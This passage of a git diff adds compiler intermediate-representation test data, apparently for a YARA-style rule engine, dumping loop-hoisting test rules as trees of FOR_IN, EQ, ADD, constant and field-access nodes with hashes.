0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir new file mode 100644 index 00000000..3cae6600 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir @@ -0,0 +1,642 @@ +RULE test_1 + 22: WITH -- hash: 0xf1f8589cad533195 + 21: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 24: WITH -- hash: 0xe9d24d3dd581f591 + 23: GT -- hash: 0xab8149e485a34c2f + 8: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } + 9: CONST integer(0) + 20: FOR_IN -- hash: 0x289160cf1aef79ef + n: Var { frame_id: 1, ty: integer, index: 2 } + i: Var { frame_id: 1, ty: integer, index: 3 } + max_count: Var { frame_id: 1, ty: integer, index: 4 } + count: Var { frame_id: 1, ty: integer, index: 5 } + item: Var { frame_id: 1, ty: unknown, index: 6 } + 0: CONST integer(1) + 1: CONST integer(5) + 26: WITH -- hash: 0x763bda68a15a3784 + 25: EQ -- hash: 0xa2cc855496d2cb96 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 7 }, type_value: integer(unknown) } + 12: CONST integer(3) + 19: FOR_IN -- hash: 0x30775be1f5466b74 + n: Var { frame_id: 2, ty: integer, index: 10 } + i: Var { frame_id: 2, ty: integer, index: 11 } + max_count: Var { frame_id: 2, ty: integer, index: 12 } + count: Var { frame_id: 2, ty: integer, index: 13 } + item: Var { frame_id: 2, ty: unknown, index: 14 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x94349f273d98c626 + n: Var { frame_id: 3, ty: integer, index: 17 } + i: Var { frame_id: 3, ty: integer, index: 18 } + max_count: Var { frame_id: 3, ty: integer, index: 19 } + count: Var { frame_id: 3, ty: integer, index: 20 } + item: Var { frame_id: 3, ty: unknown, index: 21 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x7a89bd8f25782ecf + 10: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 1 }, type_value: boolean(unknown) } + 13: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 9 }, type_value: boolean(unknown) } + 16: EQ -- hash: 0xd276cd37fd764ffa + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 15 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_2 + 13: WITH -- hash: 0xf8fe891269be2ce8 + 0: CONST integer(10) + 15: WITH -- hash: 0xd4d80d750f834956 + 14: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 12: FOR_IN -- hash: 0xbf752fd012ef0394 + n: Var { frame_id: 2, ty: integer, index: 2 } + i: Var { frame_id: 2, ty: integer, index: 3 } + max_count: Var { frame_id: 2, ty: integer, index: 4 } + count: Var { frame_id: 2, ty: integer, index: 5 } + item: Var { frame_id: 2, ty: unknown, index: 6 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xb1fb77075ac970ed + 7: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 1 }, type_value: boolean(unknown) } + 10: GT -- hash: 0x6bdee0fabb31c209 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_3 + 21: WITH -- hash: 0xbdd327417e085fb8 + 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 23: WITH -- hash: 0x2bdd89b0621abc52 + 22: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 25: WITH -- hash: 0x5e8125f5e8c90cc4 + 24: GT -- hash: 0x97ac63285a8c1087 + 15: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 1 }, type_value: integer(unknown) } + 16: CONST integer(0) + 19: FOR_IN -- hash: 0x4552833c8a799f1f + n: Var { frame_id: 1, ty: integer, index: 3 } + i: Var { frame_id: 1, ty: integer, index: 4 } + max_count: Var { frame_id: 1, ty: integer, index: 5 } + count: Var { frame_id: 1, ty: integer, index: 6 } + item: Var { frame_id: 1, ty: unknown, index: 7 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x5675239764a27d36 + 12: EQ -- hash: 0xa98a2af112833467 + 10: FIELD_ACCESS -- hash: 0xe5b8fd8695fb770c + 8: LOOKUP -- hash: 0xba759ee69162285b + 6: SYMBOL Var { var: Var { frame_id: 0, ty: array, index: 0 }, type_value: array } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 8 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 2 }, type_value: boolean(unknown) } + +RULE test_4 + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 